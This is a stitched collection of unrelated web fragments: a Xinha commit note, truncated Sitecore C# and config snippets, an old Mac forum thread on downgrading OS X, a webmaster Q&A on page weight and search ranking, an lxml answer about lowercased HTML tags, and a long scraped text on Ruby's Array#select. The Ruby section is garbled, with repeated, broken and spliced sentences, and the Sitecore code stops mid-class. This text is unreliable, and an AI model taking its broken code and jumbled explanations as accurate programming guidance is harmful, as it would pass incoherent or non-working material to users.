After mulling it over for a few days I'm still pretty happy with this approach, so I've committed r1296 which adds the xinha_config.formatblockDetector option.
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SiteContext targetSiteContext = SiteContext.GetSite(sitename);
using (var context = new SiteContextSwitcher(targetSiteContext))
{
// do something on the new site context
Item myItem = context.Database.GetItem("ID");
}
public static class TemplateItemExtensions
{
public static IEnumerable<TemplateFieldItem> GetFieldsOfSelfAndBaseTemplates(this TemplateItem self)
{
var templateFieldItems = new Dictionary<ID, TemplateFieldItem>();
GetAllFieldsForTemplate(self, templateFieldItems);
return templateFieldItems.Values;
}
using Sitecore.Form.Core.Attributes;
using System;
using System.ComponentModel;
using System.Web.UI;
namespace CustomWFFM.CustomFieldTypes
{
[ValidationProperty("Text")]
public class SingleLineTextWithPlaceholderField : Sitecore.Form.Web.UI.Controls.SingleLineText
{
Template template = TemplateManager.GetTemplate(new ID(""), Sitecore.Context.Database);
TemplateField[] allFields = template.GetFields(true);
using System;
using System.Text.RegularExpressions;
using Sitecore.Data.Items;
using Sitecore.Diagnostics;
using Sitecore.Pipelines.ExpandInitialFieldValue;
namespace CustomExpandTokenProcessors.Pipelines
{
public class QueryTokenReplacer : ExpandInitialFieldValueProcessor
{
using System.ComponentModel;
using Sitecore.Data.Items;
namespace CustomWFFM.CustomFieldTypes.Mvc
{
public class SingleLineTextWithPlaceholderField : Sitecore.Forms.Mvc.Models.Fields.SingleLineTextField
{
[DefaultValue("")]
public string PlaceholderText { get; set; }
@using Sitecore.Mvc
@model CustomWFFM.CustomFieldTypes.Mvc.SingleLineTextWithPlaceholderField
@if (!Model.Visible)
{
return;
}
<div class="@Model.CssClass field-border">
using System.Linq;
using Sitecore.Configuration;
using Sitecore.Data.Items;
using Sitecore.Diagnostics;
using Sitecore.Pipelines.ExpandInitialFieldValue;
namespace CustomExpandTokenProcessors.Pipelines
{
public class NextSortOrderReplacer : ExpandInitialFieldValueProcessor
{
<?xml version="1.0" encoding="utf-8" ?>
<configuration xmlns:patch="http://www.sitecore.net/xmlconfig/">
<sitecore>
<pipelines>
<expandInitialFieldValue>
<processor type="CustomExpandTokenProcessors.Pipelines.MyCustomTokenReplacer, CustomExpandTokenProcessors" patch:after="processor[@type='type=Sitecore.Pipelines.ExpandInitialFieldValue.ReplaceVariables, Sitecore.Kernel']"/>
</expandInitialFieldValue>
</pipelines>
</sitecore>
</configuration>
using Sitecore.Diagnostics;
using Sitecore.Pipelines.ExpandInitialFieldValue;
namespace CustomExpandTokenProcessors.Pipelines
{
public class CustomTokenReplacer : ExpandInitialFieldValueProcessor
{
private const string Token = "$customtoken";
public override void Process(ExpandInitialFieldValueArgs args) | __label__pos | 0.985338 |
Is it possible to downgrade your OS?
Discussion in 'Mac OS X 10.3 (Panther) Discussion' started by wowoah, Mar 7, 2005.
1. wowoah macrumors regular
Joined:
Jul 16, 2003
Location:
Berkeley, CA
#1
Since I installed 10.3.8, my PowerBook has been crashing nonstop. I don't know if it's 10.3.8's fault, but I want to see if I can downgrade to 10.3.7 and see if that solves anything.
Does anyone know how to do this? Thanks.
2. Sun Baked macrumors G5
Sun Baked
Joined:
May 19, 2002
#2
Try safe booting your Mac (hold shift key) or creating a new user to see if that eliminates your crashes.
It's quite possible the 10.3.8 update broke one of the old programs or kext files that you're using -- and is causing a lot of crashes.
3. wrldwzrd89 macrumors G5
wrldwzrd89
Joined:
Jun 6, 2003
Location:
Solon, OH
#3
Downgrades are not possible normally. The only way to downgrade is to restore to the base version of the OS you wish to downgrade to (or whatever came with your Mac if you haven't upgraded since you bought it), then update to the desired minor version of that OS. Keep in mind that you can't downgrade to anything older than what your Mac came with.
I'd try Sun Baked's suggestions before mine, though.
4. Applespider macrumors G4
Applespider
Joined:
Jan 20, 2004
Location:
looking through rose-tinted spectacles...
#4
Some people have reported that re-installing 10.3.8 using the Combo updated from Apple's website rather than the incremental upgrade that you likely did through Software update cured stability problems with 10.3.8.
Worth a shot?
5. Soulstorm macrumors 68000
Soulstorm
Joined:
Feb 1, 2005
#5
Yes,it does. That solved a lot of my problems, and kernel panics seem to have stoped. Coincidence?
Share This Page | __label__pos | 0.944822 |
5
Does the use of heavy graphics/images (with img tag or in the CSS) effect a site's Google ranking?
Sometimes sites are heavy because of the images used or Flash or lots of JavaScript - making the loading times higher.
Does the loading time also effect a site's Google ranking?
I've mentioned Google, but the question applies to all search engines.
5
Yes, but it's not a heavily weighted parameter.
0
0
I would be more worried about the users. If load times are high than users would leave the site and we all know that search engines put a lot of weight behind user experience i.e. bounce rates, avg time spent etc so, it's very important to keep these in check!
1
• 2
The first half of your answer is good but the second half is off target. Search engines don't know bounce rate or time on site so how can they use them in their algorithms? Not to mention neither are an accurate indication of quality. – John Conde May 29 '11 at 1:04
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17148
upper case html tags encoded in lxml
Question:
I am parsing an html file using lxml.html....The html file contains tags with small case letters and also large case letters. A part of my code is shown below:
response = urllib2.urlopen(link) html = response.read().decode('cp1251') content_html = etree.HTML(html_1) first_link_xpath = content_html.xpath('//TR') print (first_link_xpath)
A small part of my HTML file is shown below:
<TR> <TR vAlign="top" align="left"> <!--<TD><B onmouseover="tips.Display('Metadata_WEB', event)" onmouseout="tips.Hide('Metadata_WEB')">Meta Data:</B></TD>--> <TD></TD> </TR> </TR>
So when i run my above code for the below html sample, it gives an empty list. Then i tried to run this line first_link_xpath = content_html_1.xpath('//tr/node()') , all the upper case tags were represented as \r\n\t\t\t\t' in the output: What is the reason behind this issue??
NOte: If the question is not convincing please let me know for modification
Answer1:
To follow up on unutbu's answer, I suggest you compare lxml XML and HTML parsers, especially how they represent documents by asking a representation of the tree back using lxml.etree.tostring(). You can see the different tags, tags case and hierarchy (which may be different than what a human would think ;)
$ python >>> import lxml.etree >>> doc = """<TR> ... <TR vAlign="top" align="left"> ... <!--<TD><B onmouseover="tips.Display('Metadata_WEB', event)" onmouseout="tips.Hide('Metadata_WEB')">Meta Data:</B></TD>--> ... <TD></TD> ... </TR> ... </TR>""" >>> xmldoc = lxml.etree.fromstring(doc) >>> xmldoc <Element TR at 0x1e79b90> >>> htmldoc = lxml.etree.HTML(doc) >>> htmldoc <Element html at 0x1f0baa0> >>> lxml.etree.tostring(xmldoc) '<TR>\n <TR vAlign="top" align="left">\n <!--<TD><B onmouseover="tips.Display(\'Metadata_WEB\', event)" onmouseout="tips.Hide(\'Metadata_WEB\')">Meta Data:</B></TD>-->\n <TD/>\n </TR>\n </TR>' >>> lxml.etree.tostring(htmldoc) '<html><body><tr/><tr valign="top" align="left"><!--<TD><B onmouseover="tips.Display(\'Metadata_WEB\', event)" onmouseout="tips.Hide(\'Metadata_WEB\')">Meta Data:</B></TD>--><td/>\n </tr></body></html>' >>>
You can see that with the HTML parser, it created enclosing html and body tags, and there is an empty tr node at the beginning, since in HTML a tr cannot directly follow a tr (the HTML fragment you provided is broken, either by a typo error, or the original document is also broken)
Then, again as suggested by unutbu, you can tryout the different XPath expressions:
>>> xmldoc.xpath('//tr') [] >>> xmldoc.xpath('//TR') [<Element TR at 0x1e79b90>, <Element TR at 0x1f0baf0>] >>> xmldoc.xpath('//TR/node()') ['\n ', <Element TR at 0x1f0baf0>, '\n ', <!--<TD><B onmouseover="tips.Display('Metadata_WEB', event)" onmouseout="tips.Hide('Metadata_WEB')">Meta Data:</B></TD>-->, '\n ', <Element TD at 0x1f0bb40>, '\n ', '\n '] >>> >>> htmldoc.xpath('//tr') [<Element tr at 0x1f0bbe0>, <Element tr at 0x1f0bc30>] >>> htmldoc.xpath('//TR') [] >>> htmldoc.xpath('//tr/node()') [<!--<TD><B onmouseover="tips.Display('Metadata_WEB', event)" onmouseout="tips.Hide('Metadata_WEB')">Meta Data:</B></TD>-->, <Element td at 0x1f0bbe0>, '\n '] >>>
An indeed, as unutbu stressed, for HTML, XPath expressions should use lower-case tags to select elements.
To me, '\r\n\t\t\t\t' output is not an error, it's simply the whitespace between the various tr and td tags. For text content, if you don't want this whitespace, you can use lxml.etree.tostring(element, memthod="text", encoding=unicode).strip(), where element comes from XPath for example. (this works for leading and trailing whitespace). (Note that the method argument is important, by default, it will output the HTML representation as tested above)
>>> map(lambda element: lxml.etree.tostring(element, method="text", encoding=unicode), htmldoc.xpath('//tr')) [u'', u'\n '] >>>
And you can verify that the text representation is all whitespace.
Answer2:
The HTML parser converters all tag names to lower case. This is why xpath('//TR') returns an empty list.
I'm not able to reproduce the second problem, where upper case tags get printed as \r\n\t\t\t\t'. Can you modify the code below to demonstrate the problem?
import lxml.etree as ET content = '''\ <TR> <TR vAlign="top" align="left"> <!--<TD><B onmouseover="tips.Display('Metadata_WEB', event)" onmouseout="tips.Hide('Metadata_WEB')">Meta Data:</B></TD>--> <TD></TD> </TR> </TR>''' root = ET.HTML(content) print(root.xpath('//TR')) # [] print(root.xpath('//tr/node()')) # [<!--<TD><B onmouseover="tips.Display('Metadata_WEB', event)" onmouseout="tips.Hide('Metadata_WEB')">Meta Data:</B></TD>-->, <Element td at 0xb77463ec>, '\n '] print(root.xpath('//tr')) # [<Element tr at 0xb77462fc>, <Element tr at 0xb77463ec>]
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A comprehensive introduction to coding with the Ruby programming language. It contains well written, well thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions. Here is my example using the Array A. A.shift() should remove the first element of A which is 1 and it should return A = [2,3,4,5,6] Removing the last element of an array #array. So all we need to do is just create a new array inside this block. Return: A new array containing all elements of array for which the given block returns a true value. Instead of passing a value to the Array.new method, we pass a block. select vs where. chomp if opt = = 'b' puts "Odd numbers are:" puts num. select {| m | m. field == value}. If I could add that element to a new array. In the last articles, we have seen how to iterate over the instances of Array class? Call the .select method on an array to return an array of elements for which the block condition evaluates to true. Removing the first element of an array To remove the first element of an array,we need to use Array.shift or Array.shift() command. The problem with empty? This means that the original array will changeinstead of creating a new one, which can be good for performance. If no block is given, an Enumerator is returned instead. If #max, min, or sort is used, the objects in the collection must also implement a meaningful <=> operator, as these methods rely on an ordering between members of the collection. First: takes a block so it can be used just like Array#select. Arrays in Ruby inherit from Enumerable, so running find_all or select on an Array in Ruby will yield the same result. With no block and a single Integer argument size, returns a new Array of the given size whose elements are all nil: Return: array from the hash is present based on the block condition otherwise return false. The find_all method is an alias for select, but there is no find_all! Syntax: Hash.select! Last Updated : 06 Dec, 2019; Array#select! Here you can learn more about enumerators 1. In this exercise you’ll learn how to select the odd elements from an array of integers and return the collection of odd items. Let’s consider the same example as above. code. static VALUE rb_ary_select(VALUE ary) { VALUE result; long i; RETURN_SIZED_ENUMERATOR(ary, 0, 0, ary_enum_length); result = rb_ary_new2(RARRAY_LEN(ary)); for (i = 0; i < RARRAY_LEN(ary); i++) { if (RTEST(rb_yield(RARRAY_AREF(ary, i)))) { rb_ary_push(result, rb_ary_elt(ary, i)); } } return result; } In SQLite Ruby module, first we prepare the SQL statement with the prepare method. Ruby arrays are very useful and they will be a powerful ally by your side. Method description: This method is a public instance method and defined for the Array class in Ruby's library. of elements. For example, if you were to do a set operation on the array [1,1,2,3] Ruby will filter out that second 1, even though 1 may be in the resulting set. There are many ways to create or initialize an array. Book.where(category: "Ruby") This returns all the books with a category of “Ruby”. See also Array#last for the opposite effect. There are many ways to create or initialize an array. Ruby | Array select () function. BUT it starts to get complicated when you are looping over a hash. This method, as the name suggests, is used to select some elements from the Array. Ruby: Visual QuickStart Guide Learn More Buy. If the returned value from to_ary is neither nil nor an Array object, Kernel#Array raises an exception, while Array.wrap does not, it just returns the value. Related methods. Returns true when they have no elements. We talked in the loop section about using each to iterate over an array. Example #1 : and reject! Exercise Description If the array is empty, the first form returns nil, and the second form returns an empty array. Learn more from the full course Learn to Code with Ruby. nil?, empty?, blank? It then checks with a boolean expression if the key of (:job_title) is equal to the “developer” string. Array#select() : select() is a Array class method which returns a new array containing all elements of array for which the given block returns a true value. Return: last element of the array or the last ‘n’ elements from the array Example #1 : Hash#select! It's the EXACT same method as collect, just called something different. Ruby Array.reject Method: Here, we are going to learn about the Array.reject method with example in Ruby programming language. Given an example array of numbers; Model. () is a Array class method which returns the given block passing in successive elements from self, deleting elements for which the block returns a false value. () Parameter: Array. Experience. reject {|num| num% 2!= 0} else puts "Wrong selection. Build a program that filters an array of integers, and returns the odd elements. In the last article, we have seen how we can make use of the Array.select method in order to print the Array elements based on certain conditions provided inside the block? When a method is used, be sure to check the docs for more info. The Ruby standard library has many similar methods. Some people visualize … The most basic form of sorting is provided by the Ruby sort method, which is defined by the Enumerable module. Returns a new Array. Complete beginners welcome! When a size and an optional default are sent, an array is created with size copies of default.Take notice that all elements will reference the same object default. This is called filter in other languages. SELECT "books". It's the EXACT same method as collect, just called something different. code. For example, you can find all the even numbers in a list. It’s also possible to sort “in-place” using the sort!method. > my_array.select{|item| item%2==0 } => [2,4,6,8,100] # wow, that was easy. Method: Here, we are going to learn about the Array.select! In this article, we will study about Array.select! First: takes a block so it can be used just like Array#select. #ruby. You can also combine conditions. select Runs an expression for each array element and, if it is true , that element gets added to the output which is returned. And to keep things shorter, I’ll write return values in comments, so arr # -> "stuff" means that the return value for arr is “stuff”. n end end even_numbers That's quite a bit of code for something so simple! Second: Modifies the SELECT statement for the query so that only certain fields are retrieved: Model . Iterators return all the elements of a collection, one after the other. Submitted by Hrithik Chandra Prasad, on December 22, 2019 . There is a more optimal method in Ruby called select. The most basic form of sorting is provided by the Ruby sort method, which is defined by the Enumerable module. You all must be thinking the method must be doing something related to the selection of objects from the Array instance. Ruby | Array select! So first, I want to start out with an array. size; slice; slice! Ruby arrays can hold objects such as String, Integer, Fixnum, Hash, Symbol, even other Array objects. Array#select! 1. but it is not included in Enumerable. () method Last Updated: 07-01-2020 Hash#select! Let’s see an example: numbers = [5,3,2,1] numbers.sort # [1,2,3,5] Notice that sort will return a new array with the results. select {| m | m. field == value}. sort; sort! By using our site, you The block is executed every time the Array.new method needs a new value. Ruby each Iterator. Select. It’s long, but I tried to include all the really useful stuff. Ruby Array.select! Ruby; Ruby on Rails; Flowdock. The select method is one of the class method of the Array class that returns a new array of values that is true for the block that is passed to it. Works in two unique ways. Let's look at these in detail. You cannot simply append a ! By Larry Ullman; Jan 1, 2009 Contents ␡ Creating Arrays; Common Array Methods; Adding Elements; Removing Elements Arrays and Strings; Using Ranges; Creating a Hash; Common Hash Methods ⎙ Print + Share This < Page 4 > This chapter is from the book This chapter is from the book. () is a Array class method which returns the given block passing in successive elements from self, deleting elements for which the block returns a false value. acknowledge that you have read and understood our, GATE CS Original Papers and Official Keys, ISRO CS Original Papers and Official Keys, ISRO CS Syllabus for Scientist/Engineer Exam, Ruby | Loops (for, while, do..while, until), Ruby - String split() Method with Examples, Write Interview The Enumerable mixin provides collection classes with several traversal and searching methods, and with the ability to sort. () : select! Next, let’s look at how to sort the values of an array. edit Let’s evaluate their usefulness and potential problems that they bring to the table. Array#select () : select () is a Array class method which returns a new array containing all elements of array for which the given block returns a true value. Let's look at these in detail. One way is with the newclass method − You can set the size of an array at the time of creating array − The array namesnow has a size or length of 20 elements. 1_8_6_287 (0) 1_8_7_72 (-2) 1_8_7_330 (0) 1_9_1_378 (-38) 1_9_2_180 (22) 1_9_3_125 (0) 1_9_3_392 (0) 2_1_10 (0) 2_2_9 (0) 2_4_6 (0) 2_5_5 (0) 2_6_3 (15) ... select() public. 1_8_6_287 (0) 1_8_7_72 (0) 1_8_7_330 (0) 1_9_1_378 (-30) 1_9_2_180 (38) 1_9_3_125 (0) 1_9_3_392 (0) 2_1_10 (-4) 2_2_9 (0) 2_4_6 (0) 2_5_5 (0) 2_6_3 (32) What's this? even_numbers . We create a list for a five day week and to be generous we add in six items to choose from that we can cook. We will be discussing two iterators here, each and collect. An array … With no block and a single Array argument array, returns a new Array formed from array:. If no block is given, an Enumerator is returned instead. Creating Arrays. "id" IN (1, 2, 3) You’ll find this query … () function. (index) end This works because if you call a method such as select without a block, you get an Enumerator object, on which you can then chain more Enumerable methods. This will build an array of objects from the database for the scope, converting them into an array and iterating through them using Array#select.. Second: Modifies the SELECT statement for the query so that only certain fields are retrieved: So be aware that these set operations are different than list operations. What if instead of selecting only a few items we want to keep all items but modify them somehow? The each iterator returns all the elements of an array or a hash. Submitted by Hrithik Chandra Prasad, on December 22, 2019 . By using our site, you Returns a new array. generate link and share the link here. nick-desteffen. … Ruby | Hash select! select and reject both return a new array, leaving the original array unchanged. So if you were to say Array.new(5) { gets.chomp }, Ruby will stop and ask for input 5 times. You can take the union of two sets using the | operator. In this post, you will learn a few different use cases and how it all really. close, link We create a variable (x) and iterate over every method in the people array. Whenever you need to use some if / elsif statements you could consider using a Ruby case statement instead. We have seen that we have got methods like Array.each, Array.reverse_each and Array.map for this purpose. close, link The block is executed every time the Array.new method needs a new value. Creating Arrays. new ([: foo, 'bar', 2]) a. class # => Array a # => [:foo, "bar", 2]. Arrays in Ruby inherit from Enumerable, so running find_all or select on an Array in Ruby will yield the same result. Can be used on collections such as Array, Hash, Set etc. Syntax: Array.last() Parameter: Array n – no. Ruby Array.except. Ruby says: > my_array.collect{|num| num**2 } => [4,16,36,64,10000] You've heard of #map? Ruby each Iterator. select Runs an expression for each array element and, if it is true , that element gets added to the output which is returned. brightness_4 Return: the given block passing in successive elements from self, deleting elements for which the block returns a false value. If no block is given, an enumerator is returned instead. Returns a new hash consisting of entries for which the block returns true. Code File. Array.select method, as the name suggests, is used to select some elements from the Array. Make sure to practice creating an array, adding elements to it, accessing elements by index, etc. Difference between Ruby and Ruby on Rails, Ruby | Array Concatenation using (+) function, Data Structures and Algorithms – Self Paced Course, Ad-Free Experience – GeeksforGeeks Premium, We use cookies to ensure you have the best browsing experience on our website. If changes were made, it will return self, otherwise it returns nil.. See also Array#keep_if. Writing code in comment? Experience. () function. generate link and share the link here. Iterating Over an Array. a = Array. is that you need t… Iterators return all the elements of a collection, one after the other. * FROM "books" WHERE "books". Kernel#Array moves on to try to_a if the returned value is nil, but Array.wrap returns an array with the argument as its single element right away. select() public Returns a new array containing all elements of ary for which the given block returns a true value. The SQL string is sent to the database engine, which checks the statement validity, syntax and in some databases also the user permissions to perform certain queries. So if you were to say Array.new(5) { gets.chomp }, Ruby will stop and ask for input 5 times. Since Ruby arrays are dynamic, it isn’t necessary to preallocate space for them. Returns a new array containing all elements of ary for which the given block returns a true value. Returns the first element, or the first n elements, of the array. select ( :field ) # => [#] Although in the above example it looks as though this method returns an array, it actually returns a relation object and can have other query methods appended to it, such as the other methods in ActiveRecord::QueryMethods . () is a Array class method which returns the given block passing in successive elements from self, deleting elements for which the block returns a false value. Let’s start with the.select method. Forexample, the array below contains an Integer, aString and a Float:An array can also be created by explicitly calling ::new with zero, one (the initial sizeof the Array) or two arguments (the initial sizeand a default object).Note that the second argument populates the array with references to thesame object. A new array can be created by using the literal constructor[]. In Ruby, arrays and hashes can be termed collections. Array.select Method. array = [2, 4, 34, 65, 754, 72456] And we want to find elements greater than 100. So how to select work. Instead, we need to use the third way of creating an array in Ruby. uniq and uniq! Syntax collection.each do |variable| code end Executes code for each element in collection. The list of items that we can cook will come from an Array that we statically populate but these easily could be populated from the command line or from a database query. Learn to Use the Sort & Sort! Summary. Also known as switch in other programming languages. Return: A new array containing all elements of array for which the given block returns a true value. Create the Array. Ruby Case & Regex. Ruby case statement explained with examples. Select iterates over each item in the enumerable, collects all the items matching the condition passed, and those are returned. This method is non-destructive and does not bring any change in the actual values of the Array object. You can return the size of an array with either the size or length methods − This will produce the following result − You can assign a value to each element in the array as follows − This will produce the following result − You can also use a block with new, populating each element with what the block e… Syntax: Array.select! You win this round, Ruby. But you can look for multiple values. (I’ll do this in Ruby and try to explain myself along the way). #array. Please use ide.geeksforgeeks.org, With no block and no arguments, returns a new empty Array object. When you pass in a number by itself to Array#new, an Array with that many nil objects is created. Works in two unique ways. are two different methods for Ruby Arrays. Exercise File. onto any method and achieve a destructive operation. in Ruby on Rails - what’s the difference actually? nick-desteffen. Syntax: Array.select! Without select that looks like this: even_numbers = [] [1,2,3,4,5,6].each do |n| if n.even? method. () : select! () Parameter: Hash values block condition. Ruby Array.except. Thus, select returns an array. Ruby arrays are not as rigid as arrays in other languages. That ... Ruby says: > my_array.collect{|num| num**2 } => [4,16,36,64,10000] You've heard of #map? method. The row is a Ruby array. reject {|num| num% 2 = = 0} elsif opt = = 'a' puts "Even numbers are:" puts num. Like this ... Rails Where IN Array Example. methods, the original array will be modified. Writing code in comment? But that would be a little bit of a non efficient way to do it it would be a little bit long winded. However, if you use the select! Well I can call the Select method on my array and just like each select is going to take a block. arr.select.with_index do |val, index| is_fibonacci? all. Arrays, Ranges, and Hashes in Ruby. () is a Hash class method which checks whether the array from the hash ius present based on the block condition. Passing a block into select … select vs where. 1_8_6_287 (0) 1_8_7_72 (0) 1_8_7_330 (0) 1_9_1 ... select! All the examples we have seen look for one specific value. last() is a Array class method which returns the last element of the array or the last ‘n’ elements from the array. In the first form, if no arguments are sent, the new array will be empty. case serial_code when /\AC/ "Low risk" when /\AL/ "Medium risk" when /\AX/ "High risk" else "Unknown risk" end When Not to Use Ruby Case So all we need to do is just create a new array inside this block. Ruby Array.reject Method. Ruby | Array select! In Ruby, arrays and hashes can be termed collections. Provided by Ruby 2. Ruby latest stable (v2_5_5) - 2 notes - Class: Array. This week, we will looking into an array method called select and how to use it. 1 min read. The each iterator returns all the elements of an array or a hash. Model. Array.select Method: Here, we are going to learn about the Array.select method with example in Ruby programming language. Since Ruby arrays are dynamic, it isn’t necessary to preallocate space for them. Select requires a condition to be passed for evaluation. Let's learn how to use select. all. Some people visualize it in their heads as doing something and collecting the results, other people see it as re-mapping your original object through some sort of transformation. If no block is given, an Enumerator is returned instead. Not every object which iterates and returns values knows if if it has any value to return 1. This method is destructive and brings changes in the actual values of the Array object. shelljoin; shift; shuffle; shuffle! When you pass in a number by itself to Array#new, an Array with that many nil objects is created. Also read about the Ruby hash, another important class which can be combined with arrays to write more interesting code. You can use the select method in Ruby to filter an array of objects. Kernel#Array moves on to try to_a if the returned value is nil, but Array.wrap returns an array with the argument as its single element right away. Let’s see an example: Notice that sort will return a new arraywith the results. select. acknowledge that you have read and understood our, GATE CS Original Papers and Official Keys, ISRO CS Original Papers and Official Keys, ISRO CS Syllabus for Scientist/Engineer Exam, Ruby | Loops (for, while, do..while, until), Ruby - String split() Method with Examples, Write Interview In the following example we have a serial_code with an initial letter that tells us how risky this product is to consume. Please use ide.geeksforgeeks.org, This chapter is … Ruby latest stable (v2_5_5) - 0 notes - Class: Array. Arrays can contain different types of objects. The first form returns nil, If the array is empty . Method. Ruby Methods. In this case I've used with_index, which is very similar to calling each_with_index on the original array. () is a Hash class method which checks whether the array from the hash ius present based on the block condition. The array may not be changed instantly every time the block is called. An array in Ruby is denoted by the [ ] brackets. brightness_4 BUT it starts to get complicated when you are looping over a hash. This builds an array of Ruby objects from the database for the scope, converting them into an array and iterating through them using Array#select. Ruby latest stable (v2_5_5) - 0 notes - Class: Hash. 1. Ruby arrays grow automatically while adding elements to them. The ‘reduce’ method can be used to take an array and reduce it to a single value. #ruby. Data is retrieved from the database with the SELECT statement. We will be discussing two iterators here, each and collect. sort_by! Submitted by Hrithik Chandra Prasad, on February 12, 2020 Array.select! Sometimes you need an array, except you need 1 object removed for whatever reason. Difference between Ruby and Ruby on Rails, Ruby | Array Concatenation using (+) function, Data Structures and Algorithms – Self Paced Course, Ad-Free Experience – GeeksforGeeks Premium, We use cookies to ensure you have the best browsing experience on our website. A Computer Science portal for geeks. Normally I'd … The class must provide a method each, which yields successive members of the collection. This builds an array of Ruby objects from the database for the scope, converting them into an array and iterating through them using Array#select. Instead of passing a value to the Array.new method, we pass a block. This generates an “IN” query that will search, at the same time, all these ids. The second form creates a copy of the array passed as a parameter (the array is generated by calling #to_ary on the parameter). Sets and lists are fundamentally different things. Invokes the given block passing in successive elements from self, deleting elements for which the block returns a false value.. An array of sorted elements! There are plenty of options available. Sometimes you need an array, except you need 1 object removed for whatever reason. edit If the boolean returns true, then the select method places the hash that returned true into a new object. This is called filter in other languages. This will build an array of objects from the database for the scope, converting them into an array and iterating through them using Array#select.. Second: Modifies the SELECT statement for the query so that only certain fields are retrieved: This method works based on certain conditions which you will provide inside the pair of parentheses. ... select() public. Instead, we need to use the third way of creating an array in Ruby. The three fields are joined with a space character to form a line … =begin Ruby program to demonstrate Array.select =end # array declaration num = [2, 44, 2, 5, 7, 83, 5, 67, 12, 11, 90, 78, 9] puts "Enter 'a' for Even numbers and 'b' for odd numbers" opt = gets. select ( :field ) # => [#] Although in the above example it looks as though this method returns an array, it actually returns a relation object and can have other query methods appended to it, such as the other methods in ActiveRecord::QueryMethods . sum; take; take_while; to_a; to_ary; to_csv; to_h; to_s ; to_yaml (= v1_9_1_378) transpose; union (>= v2_6_3) uniq; uniq! Method with examples in Ruby programming language. Method. Array#select! You can also use regular expressions as your when condition. It can also be using on Strings (because you can think of String as a collection of bytes/characters) 1. Second: Modifies the SELECT statement for the query so that only certain fields are retrieved: Model . () : select! Let's take a look at the select … If the returned value from to_ary is neither nil nor an Array object, Kernel#Array raises an exception, while Array.wrap does not, it just returns the value. Simply put, before you lies a metric ton of handy Ruby Array methods. Object which iterates and returns values knows if if it has any value to the “ ”! You can also be using on Strings ( because you can take the union of two sets using the constructor... Doing something related to the Array.new method, which is very similar to each_with_index! You could consider using a Ruby case statement instead are very useful and they will be discussing two here!, or the first form, if no arguments are sent, the new array all... Instances of array class in Ruby, arrays and hashes can be used just like each select is to! B ' puts `` Wrong selection your side – no an array in Ruby programming language called select ’ necessary... Ruby will yield the same result ( x ) and iterate over an array with that many objects! Called select, but there is a public instance method and defined for the effect... Filters an array to return 1 new value non efficient way to do is just create a new,..., just called something different ’ method can be good for performance method as,! To write more interesting code select and reject both return a new one, which very. Sure to check the docs for more info, another important class which can be used to select elements! Were made, it isn ’ t necessary to preallocate space for them array: condition! The Enumerable module form, if no block is given, an Enumerator is returned.... Return false and hashes can be combined with arrays to write more interesting code initialize an array with that nil. N elements, of the collection you could consider using a Ruby statement! Expressions as your when condition … Simply put, before you lies a ton... / elsif statements you could consider using a Ruby case statement instead few... First element, or the first element, or the first element, or the first form nil! With Ruby the name suggests, is used, be sure to practice creating an array to 1! We prepare the SQL statement with the ability to sort the values of an of. 0 } else puts `` Wrong selection have seen that we have seen look for one specific value sort,... To preallocate space for ruby select array the condition passed, and with the Ruby programming language,... An alias for select, but I tried to include all the of!?, empty?, blank a collection, one after the other Second: the. Looks like this: even_numbers = [ ] [ 1,2,3,4,5,6 ].each do |n| if n.even, )... Practice/Competitive programming/company interview Questions the key of (: job_title ) is more! ] [ 1,2,3,4,5,6 ].each do |n| if n.even from self, otherwise it returns nil.. see also #... To sort the values of the array from the hash ius present based certain. Provided by the Ruby hash, Symbol, even other array objects '' puts num the link.. Takes a block so it can be used to take a block so it can used! Well written, well thought and well explained computer science and programming,! Boolean expression if the key of (: job_title ) is a more optimal in... M | m. field == value } with a category of “ Ruby ” than. Iterators return all the elements of an array or a hash are not as ruby select array. On collections such as String, Integer, Fixnum, hash, another class. Method with example in Ruby programming language used just like array #.! With several traversal and searching methods, and those are returned it ’ s the difference actually for performance false... 0 notes - class: array n – no such as String, Integer Fixnum. Like array # new, an Enumerator is returned instead { | m | m. field == value } >..., 65, 754, 72456 ] and we want to start out with an letter. One after the ruby select array be created by using the sort! method end even_numbers 's... The sort! method class: array n – no each_with_index on original!, 72456 ] and we want to find elements greater than 100 the Odd elements a few use... Be discussing two iterators here, we will study about Array.select lies a metric of! Be good for performance and reduce it to a single ruby select array arrays and hashes can be combined arrays! Strings ( because you can take the union of two sets using the literal [. Select and how to sort it it would be a little bit long winded to form a line ….... Some elements from self, deleting elements for which the given block true., even other array objects and hashes can be used just like array # new, Enumerator... On Strings ( because you can use the third way of creating an and. While adding elements to it, accessing elements by index, etc to array # select as,... Create a variable ( x ) and iterate over the instances of array class these Set operations different! S the difference actually array, returns a new one, which can be used just like #. Next, let ’ s see an example: Notice that sort will return a array... One specific value otherwise it returns nil, and with the ability to sort “ ”. All these ids is going to learn about the Array.select method: here, each collect! Over every method in the last articles, we are going to learn about Array.select. But I tried to include all the elements of array for which the given block in... … Ruby Array.reject method: here, we have a serial_code with an initial letter that tells how. Examples we have seen look for one specific value thinking the method must be thinking the method must thinking! Ruby says: > my_array.collect { |num| num * * 2 } = > 4,16,36,64,10000. Add that element to a single value method in Ruby to filter an of. Two iterators here, each and collect returned true into a new array will be.! And defined for the array class in Ruby, arrays and hashes can termed... Searching methods, and those are returned arrays and hashes can be used like. Class method which checks whether the array is empty, the first element, or the first form nil! Collect, just called something different the method must be doing something related to the selection of objects the! Arrays are not as rigid as arrays in other languages by itself array! People array Array.reverse_each and Array.map for this purpose other array objects single argument... Present based on the block condition a value to the selection of objects from the hash ius present on... I can call the.select method on my array and just like array # select collect ruby select array just called different. == value } want to find elements greater than 100 long winded can use the third way of creating array. Defined for the array is empty, the first form returns nil, and returns values knows if if has... S long, but there is no find_all 1_8_7_330 ( 0 ) 1_9_1...!... Stable ( v2_5_5 ) - 2 notes - class: array to learn about the Array.select Chandra Prasad, February., it isn ’ t necessary to preallocate space for them Integer, Fixnum, hash,,... Enumerator is returned instead a false value the find_all method is a public instance method and defined the... Sort! method on the block condition provide inside the pair of.!, empty?, empty?, empty?, empty? empty... Optimal method in Ruby inherit from Enumerable, so running find_all or select on an array or hash. In a number by itself to array # new, an array to return 1: the given passing... Hash ius present based on the block condition so first, I to. A block Ruby arrays are very useful and they will be discussing two iterators here, need..., arrays and hashes can be used just like array # keep_if Strings ( because you can use! 1 object removed for whatever reason of an array, returns a new arraywith the results this method is and... Preallocate space for them and reject both return a new array containing all elements of ary for which the returns! Checks whether the array tells us how risky this product is to consume on my array and reduce it a. Method: here, we need to use the third way of creating new. Consider the same time, all these ids Array.reverse_each and Array.map for this purpose a bit a... Going to learn 